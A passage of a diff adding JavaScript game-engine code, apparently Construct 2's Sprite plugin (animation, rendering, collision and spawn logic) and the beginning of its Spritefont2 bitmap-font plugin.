+ this.cur_frame = this.cur_anim_repeatto;
+ }
+ }
+ }
+ }
+ if (this.cur_frame < 0)
+ this.cur_frame = 0;
+ else if (this.cur_frame >= cur_animation.frames.length)
+ this.cur_frame = cur_animation.frames.length - 1;
+ if (now > this.frameStart + (cur_animation.frames[this.cur_frame].duration / this.cur_anim_speed))
+ {
+ this.frameStart = now;
+ }
+ next_frame = cur_animation.frames[this.cur_frame];
+ this.OnFrameChanged(prev_frame, next_frame);
+ this.runtime.redraw = true;
+ }
+ };
+ instanceProto.getAnimationByName = function (name_)
+ {
+ var i, len, a;
+ for (i = 0, len = this.type.animations.length; i < len; i++)
+ {
+ a = this.type.animations[i];
+ if (cr.equals_nocase(a.name, name_))
+ return a;
+ }
+ return null;
+ };
+ instanceProto.getAnimationBySid = function (sid_)
+ {
+ var i, len, a;
+ for (i = 0, len = this.type.animations.length; i < len; i++)
+ {
+ a = this.type.animations[i];
+ if (a.sid === sid_)
+ return a;
+ }
+ return null;
+ };
+ instanceProto.doChangeAnim = function ()
+ {
+ var prev_frame = this.cur_animation.frames[this.cur_frame];
+ var anim = this.getAnimationByName(this.changeAnimName);
+ this.changeAnimName = "";
+ if (!anim)
+ return;
+ if (cr.equals_nocase(anim.name, this.cur_animation.name) && this.animPlaying)
+ return;
+ this.cur_animation = anim;
+ this.cur_anim_speed = anim.speed;
+ this.cur_anim_repeatto = anim.repeatto;
+ if (this.cur_frame < 0)
+ this.cur_frame = 0;
+ if (this.cur_frame >= this.cur_animation.frames.length)
+ this.cur_frame = this.cur_animation.frames.length - 1;
+ if (this.changeAnimFrom === 1)
+ this.cur_frame = 0;
+ this.animPlaying = true;
+ this.frameStart = this.getNowTime();
+ this.animForwards = true;
+ this.OnFrameChanged(prev_frame, this.cur_animation.frames[this.cur_frame]);
+ this.runtime.redraw = true;
+ };
+ instanceProto.doChangeAnimFrame = function ()
+ {
+ var prev_frame = this.cur_animation.frames[this.cur_frame];
+ var prev_frame_number = this.cur_frame;
+ this.cur_frame = cr.floor(this.changeAnimFrame);
+ if (this.cur_frame < 0)
+ this.cur_frame = 0;
+ if (this.cur_frame >= this.cur_animation.frames.length)
+ this.cur_frame = this.cur_animation.frames.length - 1;
+ if (prev_frame_number !== this.cur_frame)
+ {
+ this.OnFrameChanged(prev_frame, this.cur_animation.frames[this.cur_frame]);
+ this.frameStart = this.getNowTime();
+ this.runtime.redraw = true;
+ }
+ this.changeAnimFrame = -1;
+ };
+ instanceProto.OnFrameChanged = function (prev_frame, next_frame)
+ {
+ var oldw = prev_frame.width;
+ var oldh = prev_frame.height;
+ var neww = next_frame.width;
+ var newh = next_frame.height;
+ if (oldw != neww)
+ this.width *= (neww / oldw);
+ if (oldh != newh)
+ this.height *= (newh / oldh);
+ this.hotspotX = next_frame.hotspotX;
+ this.hotspotY = next_frame.hotspotY;
+ this.collision_poly.set_pts(next_frame.poly_pts);
+ this.set_bbox_changed();
+ this.curFrame = next_frame;
+ this.curWebGLTexture = next_frame.webGL_texture;
+ var i, len, b;
+ for (i = 0, len = this.behavior_insts.length; i < len; i++)
+ {
+ b = this.behavior_insts[i];
+ if (b.onSpriteFrameChanged)
+ b.onSpriteFrameChanged(prev_frame, next_frame);
+ }
+ this.runtime.trigger(cr.plugins_.Sprite.prototype.cnds.OnFrameChanged, this);
+ };
+ instanceProto.draw = function(ctx)
+ {
+ ctx.globalAlpha = this.opacity;
+ var cur_frame = this.curFrame;
+ var spritesheeted = cur_frame.spritesheeted;
+ var cur_image = cur_frame.texture_img;
+ var myx = this.x;
+ var myy = this.y;
+ var w = this.width;
+ var h = this.height;
+ if (this.angle === 0 && w >= 0 && h >= 0)
+ {
+ myx -= this.hotspotX * w;
+ myy -= this.hotspotY * h;
+ if (this.runtime.pixel_rounding)
+ {
+ myx = Math.round(myx);
+ myy = Math.round(myy);
+ }
+ if (spritesheeted)
+ {
+ ctx.drawImage(cur_image, cur_frame.offx, cur_frame.offy, cur_frame.width, cur_frame.height,
+ myx, myy, w, h);
+ }
+ else
+ {
+ ctx.drawImage(cur_image, myx, myy, w, h);
+ }
+ }
+ else
+ {
+ if (this.runtime.pixel_rounding)
+ {
+ myx = Math.round(myx);
+ myy = Math.round(myy);
+ }
+ ctx.save();
+ var widthfactor = w > 0 ? 1 : -1;
+ var heightfactor = h > 0 ? 1 : -1;
+ ctx.translate(myx, myy);
+ if (widthfactor !== 1 || heightfactor !== 1)
+ ctx.scale(widthfactor, heightfactor);
+ ctx.rotate(this.angle * widthfactor * heightfactor);
+ var drawx = 0 - (this.hotspotX * cr.abs(w))
+ var drawy = 0 - (this.hotspotY * cr.abs(h));
+ if (spritesheeted)
+ {
+ ctx.drawImage(cur_image, cur_frame.offx, cur_frame.offy, cur_frame.width, cur_frame.height,
+ drawx, drawy, cr.abs(w), cr.abs(h));
+ }
+ else
+ {
+ ctx.drawImage(cur_image, drawx, drawy, cr.abs(w), cr.abs(h));
+ }
+ ctx.restore();
+ }
+ /*
+ ctx.strokeStyle = "#f00";
+ ctx.lineWidth = 3;
+ ctx.beginPath();
+ this.collision_poly.cache_poly(this.width, this.height, this.angle);
+ var i, len, ax, ay, bx, by;
+ for (i = 0, len = this.collision_poly.pts_count; i < len; i++)
+ {
+ ax = this.collision_poly.pts_cache[i*2] + this.x;
+ ay = this.collision_poly.pts_cache[i*2+1] + this.y;
+ bx = this.collision_poly.pts_cache[((i+1)%len)*2] + this.x;
+ by = this.collision_poly.pts_cache[((i+1)%len)*2+1] + this.y;
+ ctx.moveTo(ax, ay);
+ ctx.lineTo(bx, by);
+ }
+ ctx.stroke();
+ ctx.closePath();
+ */
+ /*
+ if (this.behavior_insts.length >= 1 && this.behavior_insts[0].draw)
+ {
+ this.behavior_insts[0].draw(ctx);
+ }
+ */
+ };
+ instanceProto.drawGL_earlyZPass = function(glw)
+ {
+ this.drawGL(glw);
+ };
+ instanceProto.drawGL = function(glw)
+ {
+ glw.setTexture(this.curWebGLTexture);
+ glw.setOpacity(this.opacity);
+ var cur_frame = this.curFrame;
+ var q = this.bquad;
+ if (this.runtime.pixel_rounding)
+ {
+ var ox = Math.round(this.x) - this.x;
+ var oy = Math.round(this.y) - this.y;
+ if (cur_frame.spritesheeted)
+ glw.quadTex(q.tlx + ox, q.tly + oy, q.trx + ox, q.try_ + oy, q.brx + ox, q.bry + oy, q.blx + ox, q.bly + oy, cur_frame.sheetTex);
+ else
+ glw.quad(q.tlx + ox, q.tly + oy, q.trx + ox, q.try_ + oy, q.brx + ox, q.bry + oy, q.blx + ox, q.bly + oy);
+ }
+ else
+ {
+ if (cur_frame.spritesheeted)
+ glw.quadTex(q.tlx, q.tly, q.trx, q.try_, q.brx, q.bry, q.blx, q.bly, cur_frame.sheetTex);
+ else
+ glw.quad(q.tlx, q.tly, q.trx, q.try_, q.brx, q.bry, q.blx, q.bly);
+ }
+ };
+ instanceProto.getImagePointIndexByName = function(name_)
+ {
+ var cur_frame = this.curFrame;
+ var i, len;
+ for (i = 0, len = cur_frame.image_points.length; i < len; i++)
+ {
+ if (cr.equals_nocase(name_, cur_frame.image_points[i][0]))
+ return i;
+ }
+ return -1;
+ };
+ instanceProto.getImagePoint = function(imgpt, getX)
+ {
+ var cur_frame = this.curFrame;
+ var image_points = cur_frame.image_points;
+ var index;
+ if (cr.is_string(imgpt))
+ index = this.getImagePointIndexByName(imgpt);
+ else
+ index = imgpt - 1; // 0 is origin
+ index = cr.floor(index);
+ if (index < 0 || index >= image_points.length)
+ return getX ? this.x : this.y; // return origin
+ var x = (image_points[index][1] - cur_frame.hotspotX) * this.width;
+ var y = image_points[index][2];
+ y = (y - cur_frame.hotspotY) * this.height;
+ var cosa = Math.cos(this.angle);
+ var sina = Math.sin(this.angle);
+ var x_temp = (x * cosa) - (y * sina);
+ y = (y * cosa) + (x * sina);
+ x = x_temp;
+ x += this.x;
+ y += this.y;
+ return getX ? x : y;
+ };
+ function Cnds() {};
+ var arrCache = [];
+ function allocArr()
+ {
+ if (arrCache.length)
+ return arrCache.pop();
+ else
+ return [0, 0, 0];
+ };
+ function freeArr(a)
+ {
+ a[0] = 0;
+ a[1] = 0;
+ a[2] = 0;
+ arrCache.push(a);
+ };
+ function makeCollKey(a, b)
+ {
+ if (a < b)
+ return "" + a + "," + b;
+ else
+ return "" + b + "," + a;
+ };
+ function collmemory_add(collmemory, a, b, tickcount)
+ {
+ var a_uid = a.uid;
+ var b_uid = b.uid;
+ var key = makeCollKey(a_uid, b_uid);
+ if (collmemory.hasOwnProperty(key))
+ {
+ collmemory[key][2] = tickcount;
+ return;
+ }
+ var arr = allocArr();
+ arr[0] = a_uid;
+ arr[1] = b_uid;
+ arr[2] = tickcount;
+ collmemory[key] = arr;
+ };
+ function collmemory_remove(collmemory, a, b)
+ {
+ var key = makeCollKey(a.uid, b.uid);
+ if (collmemory.hasOwnProperty(key))
+ {
+ freeArr(collmemory[key]);
+ delete collmemory[key];
+ }
+ };
+ function collmemory_removeInstance(collmemory, inst)
+ {
+ var uid = inst.uid;
+ var p, entry;
+ for (p in collmemory)
+ {
+ if (collmemory.hasOwnProperty(p))
+ {
+ entry = collmemory[p];
+ if (entry[0] === uid || entry[1] === uid)
+ {
+ freeArr(collmemory[p]);
+ delete collmemory[p];
+ }
+ }
+ }
+ };
+ var last_coll_tickcount = -2;
+ function collmemory_has(collmemory, a, b)
+ {
+ var key = makeCollKey(a.uid, b.uid);
+ if (collmemory.hasOwnProperty(key))
+ {
+ last_coll_tickcount = collmemory[key][2];
+ return true;
+ }
+ else
+ {
+ last_coll_tickcount = -2;
+ return false;
+ }
+ };
+ var candidates1 = [];
+ Cnds.prototype.OnCollision = function (rtype)
+ {
+ if (!rtype)
+ return false;
+ var runtime = this.runtime;
+ var cnd = runtime.getCurrentCondition();
+ var ltype = cnd.type;
+ var collmemory = null;
+ if (cnd.extra["collmemory"])
+ {
+ collmemory = cnd.extra["collmemory"];
+ }
+ else
+ {
+ collmemory = {};
+ cnd.extra["collmemory"] = collmemory;
+ }
+ if (!cnd.extra["spriteCreatedDestroyCallback"])
+ {
+ cnd.extra["spriteCreatedDestroyCallback"] = true;
+ runtime.addDestroyCallback(function(inst) {
+ collmemory_removeInstance(cnd.extra["collmemory"], inst);
+ });
+ }
+ var lsol = ltype.getCurrentSol();
+ var rsol = rtype.getCurrentSol();
+ var linstances = lsol.getObjects();
+ var rinstances;
+ var registeredInstances;
+ var l, linst, r, rinst;
+ var curlsol, currsol;
+ var tickcount = this.runtime.tickcount;
+ var lasttickcount = tickcount - 1;
+ var exists, run;
+ var current_event = runtime.getCurrentEventStack().current_event;
+ var orblock = current_event.orblock;
+ for (l = 0; l < linstances.length; l++)
+ {
+ linst = linstances[l];
+ if (rsol.select_all)
+ {
+ linst.update_bbox();
+ this.runtime.getCollisionCandidates(linst.layer, rtype, linst.bbox, candidates1);
+ rinstances = candidates1;
+ this.runtime.addRegisteredCollisionCandidates(linst, rtype, rinstances);
+ }
+ else
+ {
+ rinstances = rsol.getObjects();
+ }
+ for (r = 0; r < rinstances.length; r++)
+ {
+ rinst = rinstances[r];
+ if (runtime.testOverlap(linst, rinst) || runtime.checkRegisteredCollision(linst, rinst))
+ {
+ exists = collmemory_has(collmemory, linst, rinst);
+ run = (!exists || (last_coll_tickcount < lasttickcount));
+ collmemory_add(collmemory, linst, rinst, tickcount);
+ if (run)
+ {
+ runtime.pushCopySol(current_event.solModifiers);
+ curlsol = ltype.getCurrentSol();
+ currsol = rtype.getCurrentSol();
+ curlsol.select_all = false;
+ currsol.select_all = false;
+ if (ltype === rtype)
+ {
+ curlsol.instances.length = 2; // just use lsol, is same reference as rsol
+ curlsol.instances[0] = linst;
+ curlsol.instances[1] = rinst;
+ ltype.applySolToContainer();
+ }
+ else
+ {
+ curlsol.instances.length = 1;
+ currsol.instances.length = 1;
+ curlsol.instances[0] = linst;
+ currsol.instances[0] = rinst;
+ ltype.applySolToContainer();
+ rtype.applySolToContainer();
+ }
+ current_event.retrigger();
+ runtime.popSol(current_event.solModifiers);
+ }
+ }
+ else
+ {
+ collmemory_remove(collmemory, linst, rinst);
+ }
+ }
+ cr.clearArray(candidates1);
+ }
+ return false;
+ };
+ var rpicktype = null;
+ var rtopick = new cr.ObjectSet();
+ var needscollisionfinish = false;
+ var candidates2 = [];
+ var temp_bbox = new cr.rect(0, 0, 0, 0);
+ function DoOverlapCondition(rtype, offx, offy)
+ {
+ if (!rtype)
+ return false;
+ var do_offset = (offx !== 0 || offy !== 0);
+ var oldx, oldy, ret = false, r, lenr, rinst;
+ var cnd = this.runtime.getCurrentCondition();
+ var ltype = cnd.type;
+ var inverted = cnd.inverted;
+ var rsol = rtype.getCurrentSol();
+ var orblock = this.runtime.getCurrentEventStack().current_event.orblock;
+ var rinstances;
+ if (rsol.select_all)
+ {
+ this.update_bbox();
+ temp_bbox.copy(this.bbox);
+ temp_bbox.offset(offx, offy);
+ this.runtime.getCollisionCandidates(this.layer, rtype, temp_bbox, candidates2);
+ rinstances = candidates2;
+ }
+ else if (orblock)
+ {
+ if (this.runtime.isCurrentConditionFirst() && !rsol.else_instances.length && rsol.instances.length)
+ rinstances = rsol.instances;
+ else
+ rinstances = rsol.else_instances;
+ }
+ else
+ {
+ rinstances = rsol.instances;
+ }
+ rpicktype = rtype;
+ needscollisionfinish = (ltype !== rtype && !inverted);
+ if (do_offset)
+ {
+ oldx = this.x;
+ oldy = this.y;
+ this.x += offx;
+ this.y += offy;
+ this.set_bbox_changed();
+ }
+ for (r = 0, lenr = rinstances.length; r < lenr; r++)
+ {
+ rinst = rinstances[r];
+ if (this.runtime.testOverlap(this, rinst))
+ {
+ ret = true;
+ if (inverted)
+ break;
+ if (ltype !== rtype)
+ rtopick.add(rinst);
+ }
+ }
+ if (do_offset)
+ {
+ this.x = oldx;
+ this.y = oldy;
+ this.set_bbox_changed();
+ }
+ cr.clearArray(candidates2);
+ return ret;
+ };
+ typeProto.finish = function (do_pick)
+ {
+ if (!needscollisionfinish)
+ return;
+ if (do_pick)
+ {
+ var orblock = this.runtime.getCurrentEventStack().current_event.orblock;
+ var sol = rpicktype.getCurrentSol();
+ var topick = rtopick.valuesRef();
+ var i, len, inst;
+ if (sol.select_all)
+ {
+ sol.select_all = false;
+ cr.clearArray(sol.instances);
+ for (i = 0, len = topick.length; i < len; ++i)
+ {
+ sol.instances[i] = topick[i];
+ }
+ if (orblock)
+ {
+ cr.clearArray(sol.else_instances);
+ for (i = 0, len = rpicktype.instances.length; i < len; ++i)
+ {
+ inst = rpicktype.instances[i];
+ if (!rtopick.contains(inst))
+ sol.else_instances.push(inst);
+ }
+ }
+ }
+ else
+ {
+ if (orblock)
+ {
+ var initsize = sol.instances.length;
+ for (i = 0, len = topick.length; i < len; ++i)
+ {
+ sol.instances[initsize + i] = topick[i];
+ cr.arrayFindRemove(sol.else_instances, topick[i]);
+ }
+ }
+ else
+ {
+ cr.shallowAssignArray(sol.instances, topick);
+ }
+ }
+ rpicktype.applySolToContainer();
+ }
+ rtopick.clear();
+ needscollisionfinish = false;
+ };
+ Cnds.prototype.IsOverlapping = function (rtype)
+ {
+ return DoOverlapCondition.call(this, rtype, 0, 0);
+ };
+ Cnds.prototype.IsOverlappingOffset = function (rtype, offx, offy)
+ {
+ return DoOverlapCondition.call(this, rtype, offx, offy);
+ };
+ Cnds.prototype.IsAnimPlaying = function (animname)
+ {
+ if (this.changeAnimName.length)
+ return cr.equals_nocase(this.changeAnimName, animname);
+ else
+ return cr.equals_nocase(this.cur_animation.name, animname);
+ };
+ Cnds.prototype.CompareFrame = function (cmp, framenum)
+ {
+ return cr.do_cmp(this.cur_frame, cmp, framenum);
+ };
+ Cnds.prototype.CompareAnimSpeed = function (cmp, x)
+ {
+ var s = (this.animForwards ? this.cur_anim_speed : -this.cur_anim_speed);
+ return cr.do_cmp(s, cmp, x);
+ };
+ Cnds.prototype.OnAnimFinished = function (animname)
+ {
+ return cr.equals_nocase(this.animTriggerName, animname);
+ };
+ Cnds.prototype.OnAnyAnimFinished = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.OnFrameChanged = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.IsMirrored = function ()
+ {
+ return this.width < 0;
+ };
+ Cnds.prototype.IsFlipped = function ()
+ {
+ return this.height < 0;
+ };
+ Cnds.prototype.OnURLLoaded = function ()
+ {
+ return true;
+ };
+ Cnds.prototype.IsCollisionEnabled = function ()
+ {
+ return this.collisionsEnabled;
+ };
+ pluginProto.cnds = new Cnds();
+ function Acts() {};
+ Acts.prototype.Spawn = function (obj, layer, imgpt)
+ {
+ if (!obj || !layer)
+ return;
+ var inst = this.runtime.createInstance(obj, layer, this.getImagePoint(imgpt, true), this.getImagePoint(imgpt, false));
+ if (!inst)
+ return;
+ if (typeof inst.angle !== "undefined")
+ {
+ inst.angle = this.angle;
+ inst.set_bbox_changed();
+ }
+ this.runtime.isInOnDestroy++;
+ var i, len, s;
+ this.runtime.trigger(Object.getPrototypeOf(obj.plugin).cnds.OnCreated, inst);
+ if (inst.is_contained)
+ {
+ for (i = 0, len = inst.siblings.length; i < len; i++)
+ {
+ s = inst.siblings[i];
+ this.runtime.trigger(Object.getPrototypeOf(s.type.plugin).cnds.OnCreated, s);
+ }
+ }
+ this.runtime.isInOnDestroy--;
+ var cur_act = this.runtime.getCurrentAction();
+ var reset_sol = false;
+ if (cr.is_undefined(cur_act.extra["Spawn_LastExec"]) || cur_act.extra["Spawn_LastExec"] < this.runtime.execcount)
+ {
+ reset_sol = true;
+ cur_act.extra["Spawn_LastExec"] = this.runtime.execcount;
+ }
+ var sol;
+ if (obj != this.type)
+ {
+ sol = obj.getCurrentSol();
+ sol.select_all = false;
+ if (reset_sol)
+ {
+ cr.clearArray(sol.instances);
+ sol.instances[0] = inst;
+ }
+ else
+ sol.instances.push(inst);
+ if (inst.is_contained)
+ {
+ for (i = 0, len = inst.siblings.length; i < len; i++)
+ {
+ s = inst.siblings[i];
+ sol = s.type.getCurrentSol();
+ sol.select_all = false;
+ if (reset_sol)
+ {
+ cr.clearArray(sol.instances);
+ sol.instances[0] = s;
+ }
+ else
+ sol.instances.push(s);
+ }
+ }
+ }
+ };
+ Acts.prototype.SetEffect = function (effect)
+ {
+ this.blend_mode = effect;
+ this.compositeOp = cr.effectToCompositeOp(effect);
+ cr.setGLBlend(this, effect, this.runtime.gl);
+ this.runtime.redraw = true;
+ };
+ Acts.prototype.StopAnim = function ()
+ {
+ this.animPlaying = false;
+ };
+ Acts.prototype.StartAnim = function (from)
+ {
+ this.animPlaying = true;
+ this.frameStart = this.getNowTime();
+ if (from === 1 && this.cur_frame !== 0)
+ {
+ this.changeAnimFrame = 0;
+ if (!this.inAnimTrigger)
+ this.doChangeAnimFrame();
+ }
+ if (!this.isTicking)
+ {
+ this.runtime.tickMe(this);
+ this.isTicking = true;
+ }
+ };
+ Acts.prototype.SetAnim = function (animname, from)
+ {
+ this.changeAnimName = animname;
+ this.changeAnimFrom = from;
+ if (!this.isTicking)
+ {
+ this.runtime.tickMe(this);
+ this.isTicking = true;
+ }
+ if (!this.inAnimTrigger)
+ this.doChangeAnim();
+ };
+ Acts.prototype.SetAnimFrame = function (framenumber)
+ {
+ this.changeAnimFrame = framenumber;
+ if (!this.isTicking)
+ {
+ this.runtime.tickMe(this);
+ this.isTicking = true;
+ }
+ if (!this.inAnimTrigger)
+ this.doChangeAnimFrame();
+ };
+ Acts.prototype.SetAnimSpeed = function (s)
+ {
+ this.cur_anim_speed = cr.abs(s);
+ this.animForwards = (s >= 0);
+ if (!this.isTicking)
+ {
+ this.runtime.tickMe(this);
+ this.isTicking = true;
+ }
+ };
+ Acts.prototype.SetAnimRepeatToFrame = function (s)
+ {
+ s = Math.floor(s);
+ if (s < 0)
+ s = 0;
+ if (s >= this.cur_animation.frames.length)
+ s = this.cur_animation.frames.length - 1;
+ this.cur_anim_repeatto = s;
+ };
+ Acts.prototype.SetMirrored = function (m)
+ {
+ var neww = cr.abs(this.width) * (m === 0 ? -1 : 1);
+ if (this.width === neww)
+ return;
+ this.width = neww;
+ this.set_bbox_changed();
+ };
+ Acts.prototype.SetFlipped = function (f)
+ {
+ var newh = cr.abs(this.height) * (f === 0 ? -1 : 1);
+ if (this.height === newh)
+ return;
+ this.height = newh;
+ this.set_bbox_changed();
+ };
+ Acts.prototype.SetScale = function (s)
+ {
+ var cur_frame = this.curFrame;
+ var mirror_factor = (this.width < 0 ? -1 : 1);
+ var flip_factor = (this.height < 0 ? -1 : 1);
+ var new_width = cur_frame.width * s * mirror_factor;
+ var new_height = cur_frame.height * s * flip_factor;
+ if (this.width !== new_width || this.height !== new_height)
+ {
+ this.width = new_width;
+ this.height = new_height;
+ this.set_bbox_changed();
+ }
+ };
+ Acts.prototype.LoadURL = function (url_, resize_, crossOrigin_)
+ {
+ var img = new Image();
+ var self = this;
+ var curFrame_ = this.curFrame;
+ img.onload = function ()
+ {
+ if (curFrame_.texture_img.src === img.src)
+ {
+ if (self.runtime.glwrap && self.curFrame === curFrame_)
+ self.curWebGLTexture = curFrame_.webGL_texture;
+ if (resize_ === 0) // resize to image size
+ {
+ self.width = img.width;
+ self.height = img.height;
+ self.set_bbox_changed();
+ }
+ self.runtime.redraw = true;
+ self.runtime.trigger(cr.plugins_.Sprite.prototype.cnds.OnURLLoaded, self);
+ return;
+ }
+ curFrame_.texture_img = img;
+ curFrame_.offx = 0;
+ curFrame_.offy = 0;
+ curFrame_.width = img.width;
+ curFrame_.height = img.height;
+ curFrame_.spritesheeted = false;
+ curFrame_.datauri = "";
+ curFrame_.pixelformat = 0; // reset to RGBA, since we don't know what type of image will have come in
+ if (self.runtime.glwrap)
+ {
+ if (curFrame_.webGL_texture)
+ self.runtime.glwrap.deleteTexture(curFrame_.webGL_texture);
+ curFrame_.webGL_texture = self.runtime.glwrap.loadTexture(img, false, self.runtime.linearSampling);
+ if (self.curFrame === curFrame_)
+ self.curWebGLTexture = curFrame_.webGL_texture;
+ self.type.updateAllCurrentTexture();
+ }
+ if (resize_ === 0) // resize to image size
+ {
+ self.width = img.width;
+ self.height = img.height;
+ self.set_bbox_changed();
+ }
+ self.runtime.redraw = true;
+ self.runtime.trigger(cr.plugins_.Sprite.prototype.cnds.OnURLLoaded, self);
+ };
+ if (url_.substr(0, 5) !== "data:" && crossOrigin_ === 0)
+ img["crossOrigin"] = "anonymous";
+ this.runtime.setImageSrc(img, url_);
+ };
+ Acts.prototype.SetCollisions = function (set_)
+ {
+ if (this.collisionsEnabled === (set_ !== 0))
+ return; // no change
+ this.collisionsEnabled = (set_ !== 0);
+ if (this.collisionsEnabled)
+ this.set_bbox_changed(); // needs to be added back to cells
+ else
+ {
+ if (this.collcells.right >= this.collcells.left)
+ this.type.collision_grid.update(this, this.collcells, null);
+ this.collcells.set(0, 0, -1, -1);
+ }
+ };
+ pluginProto.acts = new Acts();
+ function Exps() {};
+ Exps.prototype.AnimationFrame = function (ret)
+ {
+ ret.set_int(this.cur_frame);
+ };
+ Exps.prototype.AnimationFrameCount = function (ret)
+ {
+ ret.set_int(this.cur_animation.frames.length);
+ };
+ Exps.prototype.AnimationName = function (ret)
+ {
+ ret.set_string(this.cur_animation.name);
+ };
+ Exps.prototype.AnimationSpeed = function (ret)
+ {
+ ret.set_float(this.animForwards ? this.cur_anim_speed : -this.cur_anim_speed);
+ };
+ Exps.prototype.ImagePointX = function (ret, imgpt)
+ {
+ ret.set_float(this.getImagePoint(imgpt, true));
+ };
+ Exps.prototype.ImagePointY = function (ret, imgpt)
+ {
+ ret.set_float(this.getImagePoint(imgpt, false));
+ };
+ Exps.prototype.ImagePointCount = function (ret)
+ {
+ ret.set_int(this.curFrame.image_points.length);
+ };
+ Exps.prototype.ImageWidth = function (ret)
+ {
+ ret.set_float(this.curFrame.width);
+ };
+ Exps.prototype.ImageHeight = function (ret)
+ {
+ ret.set_float(this.curFrame.height);
+ };
+ pluginProto.exps = new Exps();
+}());
+/* global cr,log,assert2 */
+/* jshint globalstrict: true */
+/* jshint strict: true */
+;
+;
+cr.plugins_.Spritefont2 = function(runtime)
+{
+ this.runtime = runtime;
+};
+(function ()
+{
+ var pluginProto = cr.plugins_.Spritefont2.prototype;
+ pluginProto.onCreate = function ()
+ {
+ };
+ pluginProto.Type = function(plugin)
+ {
+ this.plugin = plugin;
+ this.runtime = plugin.runtime;
+ };
+ var typeProto = pluginProto.Type.prototype;
+ typeProto.onCreate = function()
+ {
+ if (this.is_family)
+ return;
+ this.texture_img = new Image();
+ this.runtime.waitForImageLoad(this.texture_img, this.texture_file);
+ this.webGL_texture = null;
+ };
+ typeProto.onLostWebGLContext = function ()
+ {
+ if (this.is_family)
+ return;
+ this.webGL_texture = null;
+ };
+ typeProto.onRestoreWebGLContext = function ()
+ {
+ if (this.is_family || !this.instances.length)
+ return;
+ if (!this.webGL_texture)
+ {
+ this.webGL_texture = this.runtime.glwrap.loadTexture(this.texture_img, false, this.runtime.linearSampling, this.texture_pixelformat);
+ }
+ var i, len;
+ for (i = 0, len = this.instances.length; i < len; i++)
+ this.instances[i].webGL_texture = this.webGL_texture;
+ };
+ typeProto.unloadTextures = function ()
+ {
+ if (this.is_family || this.instances.length || !this.webGL_texture)
+ return;
+ this.runtime.glwrap.deleteTexture(this.webGL_texture);
+ this.webGL_texture = null;
+ };
+ typeProto.preloadCanvas2D = function (ctx)
+ {
+ ctx.drawImage(this.texture_img, 0, 0);
+ };
+ pluginProto.Instance = function(type)
+ {
+ this.type = type;
+ this.runtime = type.runtime;
+ };
+ var instanceProto = pluginProto.Instance.prototype;
+ instanceProto.onDestroy = function()
+ {
+ freeAllLines (this.lines);
+ freeAllClip (this.clipList);
+ freeAllClipUV(this.clipUV);
+ cr.wipe(this.characterWidthList);
+ };
+ instanceProto.onCreate = function()
+ {
+ this.texture_img = this.type.texture_img;
+ this.characterWidth = this.properties[0];
+ this.characterHeight = this.properties[1];
+ this.characterSet = this.properties[2];
+ this.text = this.properties[3];
+ this.characterScale = this.properties[4];
+ this.visible = (this.properties[5] === 0); // 0=visible, 1=invisible
+ this.halign = this.properties[6]/2.0; // 0=left, 1=center, 2=right
+ this.valign = this.properties[7]/2.0; // 0=top, 1=center, 2=bottom
+ this.wrapbyword = (this.properties[9] === 0); // 0=word, 1=character
+ this.characterSpacing = this.properties[10];
+ this.lineHeight = this.properties[11];
+ this.textWidth = 0;
+ this.textHeight = 0;
+ if (this.recycled)
+ {
+ cr.clearArray(this.lines);
+ cr.wipe(this.clipList);
+ cr.wipe(this.clipUV);
+ cr.wipe(this.characterWidthList);
+ }
+ else
+ {
+ this.lines = [];
+ this.clipList = {};
+ this.clipUV = {};
+ this.characterWidthList = {};
+ }
+ this.text_changed = true;
+ this.lastwrapwidth = this.width;
+ if (this.runtime.glwrap)
+ {
+ if (!this.type.webGL_texture)
+ {
+ this.type.webGL_texture = this.runtime.glwrap.loadTexture(this.type.texture_img, false, this.runtime.linearSampling, this.type.texture_pixelformat);
+ }
+ this.webGL_texture = this.type.webGL_texture;
+ }
+ this.SplitSheet();
+ };
+ instanceProto.saveToJSON = function ()
+ {
+ var save = {
+ "t": this.text,
+ "csc": this.characterScale,
+ "csp": this.characterSpacing,
+ "lh": this.lineHeight,
+ "tw": this.textWidth,
+ "th": this.textHeight,
+ "lrt": this.last_render_tick,
+ "ha": this.halign,
+ "va": this.valign,
+ "cw": {}
+ };
+ for (var ch in this.characterWidthList)
+ save["cw"][ch] = this.characterWidthList[ch];
+ return save;
+ };
+ instanceProto.loadFromJSON = function (o)
+ {
+ this.text = o["t"];
+ this.characterScale = o["csc"];
+ this.characterSpacing = o["csp"];
+ this.lineHeight = o["lh"];
+ this.textWidth = o["tw"];
+ this.textHeight = o["th"];
+ this.last_render_tick = o["lrt"];
+ if (o.hasOwnProperty("ha"))
+ this.halign = o["ha"];
+ if (o.hasOwnProperty("va"))
+ this.valign = o["va"];
+ for(var ch in o["cw"])
+ this.characterWidthList[ch] = o["cw"][ch];
+ this.text_changed = true;
+ this.lastwrapwidth = this.width;
+ };
+ function trimRight(text)
+ {
+ return text.replace(/\s\s*$/, '');
+ }
+ var MAX_CACHE_SIZE = 1000;
+ function alloc(cache,Constructor)
+ {
+ if (cache.length)
+ return cache.pop();
+ else
+ return new Constructor();
+ }
+ function free(cache,data)
+ {
+ if (cache.length < MAX_CACHE_SIZE)
+ {
+ cache.push(data);
+ }
+ }
+ function freeAll(cache,dataList,isArray)
+ {
+ if (isArray) {
+ var i, len;
+ for (i = 0, len = dataList.length; i < len; i++)
+ {
+ free(cache,dataList[i]);
+ }
+ cr.clearArray(dataList);
+ } else {
+ var prop;
+ for(prop in dataList) {
+ if(Object.prototype.hasOwnProperty.call(dataList,prop)) {
+ free(cache,dataList[prop]);
+ delete dataList[prop];
+ }
+ }
+ }
+ }
+ function addLine(inst,lineIndex,cur_line) {
+ var lines = inst.lines;
+ var line;
+ cur_line = trimRight(cur_line);
+ if (lineIndex >= lines.length)
+ lines.push(allocLine());
+ line = lines[lineIndex];
+ line.text = cur_line;
+ line.width = inst.measureWidth(cur_line);
+ inst.textWidth = cr.max(inst.textWidth,line.width);
+ }
+ var linesCache = [];
+ function allocLine() { return alloc(linesCache,Object); }
+ function freeLine(l) { free(linesCache,l); }
+ function freeAllLines(arr) { freeAll(linesCache,arr,true); }
+ function addClip(obj,property,x,y,w,h) {
+ if (obj[property] === undefined) {
+ obj[property] = alloc(clipCache,Object);
+ }
+ obj[property].x = x;
+ obj[property].y = y;
+ obj[property].w = w;
+ obj[property].h = h;
+ }
+ var clipCache = [];
+ function allocClip() { return alloc(clipCache,Object); }
+ function freeAllClip(obj) { freeAll(clipCache,obj,false);}
